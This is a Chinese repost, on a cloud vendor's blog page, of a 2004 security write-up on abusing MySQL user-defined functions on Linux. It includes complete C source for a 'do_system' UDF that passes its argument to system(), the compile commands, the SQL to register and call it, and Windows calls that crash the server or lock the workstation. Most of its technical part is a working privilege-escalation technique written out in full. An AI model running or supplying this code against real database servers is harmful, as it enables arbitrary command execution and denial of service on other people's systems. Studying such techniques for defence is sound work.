Linux平台下 MYSQL用户自定义函数(UDF)的利用

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介:

 来源:http://hi.baidu.com/ylbhz

Linux平台下 MYSQL用户自定义函数(UDF)的利用

Chris Anley [chris@ngssoftware.com] 5th July 2004

根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数,简称udf

通过CREATE FUNCTION语句来实现这一机制,同时通过向’mysql.func’表录入信息来加载他们.

通常当MYSQL加载这些动态库时,该动态库文件路径必须能被MYSQL访问.

攻击者会滥用这一机制别有用心地创建一些“恶毒”的动态库文件并将它们通过SELECT … INTO OUTFILE语句写入可用的目录.当这些文件创建成功过后,攻击者通过insert向mysql.func表录入信息以配置MYSQL加载这些动态库文件和执行这些函数。

下面是一段相当简单的UDF链接库的代码 (请原谅他很简陋)(老外真有礼貌!):

#include <stdio.h>

#include <stdlib.h>

/*

compile with something like

gcc -g -c so_system.c

then

gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc

*/

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args

{

unsigned int arg_count; /* Number of arguments */

enum Item_result *arg_type; /* Pointer to item_results */

char **args; /* Pointer to argument */

unsigned long *lengths; /* Length of string arguments */

char *maybe_null; /* Set to 1 for all maybe_null args */

Page 18

} UDF_ARGS;

typedef struct st_udf_init

{

char maybe_null; /* 1 if function can return NULL */

unsigned int decimals; /* for real functions */

unsigned long max_length; /* For string functions */

char *ptr; /* free pointer for function data */

char const_item; /* 0 if result is independent of arguments */

} UDF_INIT;

int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

{

if( args->arg_count != 1 )

return 0;

system( args->args[0] );

return 0;

}

像这样添加函数:

mysql> create function do_system returns integer soname ‘so_system.so’;

Query OK, 0 rows affected (0.00 sec)

现在表mysql.func类似于这样,当然你也可以使用update来修改它。

mysql> select * from mysql.func;

+———–+—–+————–+———-+

| name | ret | dl | type |

+———–+—–+————–+———-+

| do_system | 2 | so_system.so | function |

+———–+—–+————–+———-+

1 row in set (0.00 sec)

调用函数:

mysql> select do_system(‘ls > /tmp/test.txt’);

+———————————+

| do_system(‘ls > /tmp/test.txt’) |

+———————————+

| -4665733612002344960 |

+———————————+

1 row in set (0.02 sec)

即便文件权限不允许我们在目标系统上建立自己的动态库文件,我们仍然有可能利用已经存在的函数来达成一些邪恶的意图。这给攻击者的困难是,函数的参数列表和MySQL UDF的函数原型不相符:

int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)

。。。。。。尽管诡计多端的攻击者可能能够设计出通过调用系统已存在的动态库中可控制的弱点来执行任意代码,但仍然是困难的。

Page 19

当MySQL解析执行传递的参数时,仍然可能通过现存的动态库中的函数来做“坏”事的可能性。

举个例子来讲,通过在windows中将函数ExitProcess作为MYSQL UDF来进行调用, 这将立即导致退出,即使你在mysql中并没有shutdown的权限。

mysql> create function ExitProcess returns integer soname ‘kernel32′;

Query OK, 0 rows affected (0.17 sec)

mysql> select exitprocess();

ERROR 2013: Lost connection to MySQL server during query

你也能讲当前工作站的登录会话锁定(作用相当于ctrl + del alt):

mysql> create function LockWorkStation returns integer soname ‘user32′;

Query OK, 0 rows affected (0.00 sec)

mysql> select LockWorkStation();











本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/551065,如需转载请自行联系原作者

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1天前
|
关系型数据库 MySQL Linux
Linux 安装 mysql 【使用 tar.gz | tar.xz安装包-离线安装】
在Linux系统中使用tar.xz压缩包安装MySQL数据库的详细步骤。包括下载MySQL压缩包,解压到指定目录,创建mysql用户和组,设置目录权限,初始化MySQL,配置my.cnf文件,启动服务,以及修改root用户密码。此外,还提供了如何设置Windows远程登录MySQL服务器的方法。
Linux 安装 mysql 【使用 tar.gz | tar.xz安装包-离线安装】
|
1天前
|
关系型数据库 MySQL Linux
Linux 安装 mysql【使用yum源进行安装】
这篇文章介绍了在Linux系统中使用yum源安装MySQL数据库的步骤,包括配置yum源、安装MySQL服务、启动服务以及修改root用户的默认密码。
Linux 安装 mysql【使用yum源进行安装】
|
25天前
|
NoSQL 关系型数据库 Redis
mall在linux环境下的部署(基于Docker容器),Docker安装mysql、redis、nginx、rabbitmq、elasticsearch、logstash、kibana、mongo
mall在linux环境下的部署(基于Docker容器),docker安装mysql、redis、nginx、rabbitmq、elasticsearch、logstash、kibana、mongodb、minio详细教程,拉取镜像、运行容器
mall在linux环境下的部署(基于Docker容器),Docker安装mysql、redis、nginx、rabbitmq、elasticsearch、logstash、kibana、mongo
|
3天前
|
编解码 Linux 开发工具
Linux平台x86_64|aarch64架构RTMP推送|轻量级RTSP服务模块集成说明
支持x64_64架构、aarch64架构(需要glibc-2.21及以上版本的Linux系统, 需要libX11.so.6, 需要GLib–2.0, 需安装 libstdc++.so.6.0.21、GLIBCXX_3.4.21、 CXXABI_1.3.9)。
|
1月前
|
关系型数据库 MySQL Linux
在Linux中,新安装mysql后怎样提升mysql的安全级别?
在Linux中,新安装mysql后怎样提升mysql的安全级别?
|
1月前
|
关系型数据库 MySQL Linux
【Azure 应用服务】在创建Web App Service的时候,选Linux系统后无法使用Mysql in App
【Azure 应用服务】在创建Web App Service的时候,选Linux系统后无法使用Mysql in App
【Azure 应用服务】在创建Web App Service的时候,选Linux系统后无法使用Mysql in App
|
1月前
|
关系型数据库 MySQL Linux
Linux环境安装MySQL8.0.36使用rpm包安装,安装顺序是什么?
【8月更文挑战第23天】Linux环境安装MySQL8.0.36使用rpm包安装,安装顺序是什么?
156 1
|
1月前
|
SQL 关系型数据库 MySQL
在Linux中,mysql 数据备份工具有哪些?
在Linux中,mysql 数据备份工具有哪些?
|
1月前
|
安全 关系型数据库 MySQL
在Linux中,如何重置 mysql root 密码?
在Linux中,如何重置 mysql root 密码?
|
1月前
|
监控 关系型数据库 MySQL
在Linux中,mysql的innodb如何定位锁问题?
在Linux中,mysql的innodb如何定位锁问题?